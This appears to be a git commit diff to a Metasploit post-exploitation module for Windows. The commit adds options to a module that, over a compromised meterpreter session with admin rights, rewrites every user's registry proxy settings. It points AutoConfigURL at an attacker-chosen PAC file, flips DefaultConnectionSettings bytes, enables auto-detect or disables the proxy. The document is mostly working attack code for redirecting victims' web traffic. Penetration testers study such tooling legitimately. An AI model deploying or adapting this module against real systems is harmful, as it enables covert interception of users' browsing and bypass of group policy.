Added new options

bug/bundler_fix
bmerinofe 2013-12-04 11:45:37 +01:00
parent 5c266adfd7
commit 05479b2a19
1 changed files with 51 additions and 14 deletions

View File

@ -22,7 +22,8 @@ class Metasploit3 < Msf::Post
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'], 'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
'References' => 'References' =>
[ [
[ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ] [ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
[ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
], ],
'Platform' => [ 'windows' ], 'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ] 'SessionTypes' => [ 'meterpreter' ]
@ -32,11 +33,13 @@ class Metasploit3 < Msf::Post
[ [
OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]), OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]),
OptString.new('REMOTE_PAC', [false, 'Remote PAC file.' ]), OptString.new('REMOTE_PAC', [false, 'Remote PAC file.' ]),
OptBool.new('DISABLE_PROXY',[false, 'Disable the proxy server.', false]),
OptBool.new('AUTO_DETECT', [false, 'Automatically detect settings.', false])
], self.class) ], self.class)
end end
def run def run
if not is_admin? unless is_admin?
print_error("You don't have enough privileges. Try getsystem.") print_error("You don't have enough privileges. Try getsystem.")
return return
end end
@ -46,16 +49,18 @@ class Metasploit3 < Msf::Post
return return
end end
if datastore['LOCAL_PAC'].nil? unless datastore['LOCAL_PAC']
@remote = true @remote = true
print_status("Setting a remote PAC file ...") print_status("Setting a remote PAC file ...")
enable_proxy(datastore['REMOTE_PAC']) enable_proxypac(datastore['REMOTE_PAC'])
else else
print_status("Setting a local PAC file ...") print_status("Setting a local PAC file ...")
pac_file = create_pac(datastore['LOCAL_PAC']) pac_file = create_pac(datastore['LOCAL_PAC'])
enable_proxy(pac_file) if pac_file enable_proxypac(pac_file) if pac_file
end end
auto_detect_on if datastore['AUTO_DETECT']
disable_proxy if datastore['DISABLE_PROXY']
end end
def create_pac(local_pac) def create_pac(local_pac)
@ -78,24 +83,56 @@ class Metasploit3 < Msf::Post
end end
end end
def enable_proxy(pac) def enable_proxypac(pac)
registry_enumkeys('HKU').each do |k| registry_enumkeys('HKU').each do |k|
next unless k.include? "S-1-5-21" next unless k.include? "S-1-5-21"
next if k.include? "_Classes" next if k.include? "_Classes"
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings" key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
value_defCon = "DefaultConnectionSettings"
value_auto = "AutoConfigURL" value_auto = "AutoConfigURL"
file = (@remote) ? "#{pac}" : "file://#{pac}" file = (@remote) ? "#{pac}" : "file://#{pac}"
begin begin
registry_setvaldata(key,value_auto,file,"REG_SZ") registry_setvaldata(key,value_auto,file,"REG_SZ")
value_con=registry_getvaldata(key + '\\' + 'Connections',value_defCon) rescue::Exception => e
binary_data=value_con.unpack('H*')[0] print_status("There was an error setting the registry value: #{e.class} #{e}")
binary_data[16,2]='05' end
registry_setvaldata(key + '\\' + 'Connections',value_defCon,["%x" % binary_data.to_i(16)].pack("H*"),"REG_BINARY") print_good ("Proxy PAC enabled.") if change_defConSettings(16,'05',key + '\\Connections')
print_good ("Proxy PAC enabled.") end
end
def auto_detect_on()
registry_enumkeys('HKU').each do |k|
next unless k.include? "S-1-5-21"
next if k.include? "_Classes"
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
print_good ("Automatically detect settings on.") if change_defConSettings(16,'0D',key)
end
end
def disable_proxy()
value_enable = "ProxyEnable"
registry_enumkeys('HKU').each do |k|
next unless k.include? "S-1-5-21"
next if k.include? "_Classes"
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
begin
registry_setvaldata(key,value_enable,0,"REG_DWORD")
print_good ("Proxy disable.")
rescue::Exception => e rescue::Exception => e
print_status("There was an error setting the registry value: #{e.class} #{e}") print_status("There was an error setting the registry value: #{e.class} #{e}")
end end
end end
end end
def change_defConSettings(offset,value,key)
value_defCon = "DefaultConnectionSettings"
begin
value_con = registry_getvaldata(key,value_defCon)
binary_data = value_con.unpack('H*')[0]
binary_data[offset,2] = value
registry_setvaldata(key,value_defCon,["%x" % binary_data.to_i(16)].pack("H*"),"REG_BINARY")
rescue::Exception => e
print_status("There was an error setting the registry value: #{e.class} #{e}")
return false
end
end
end end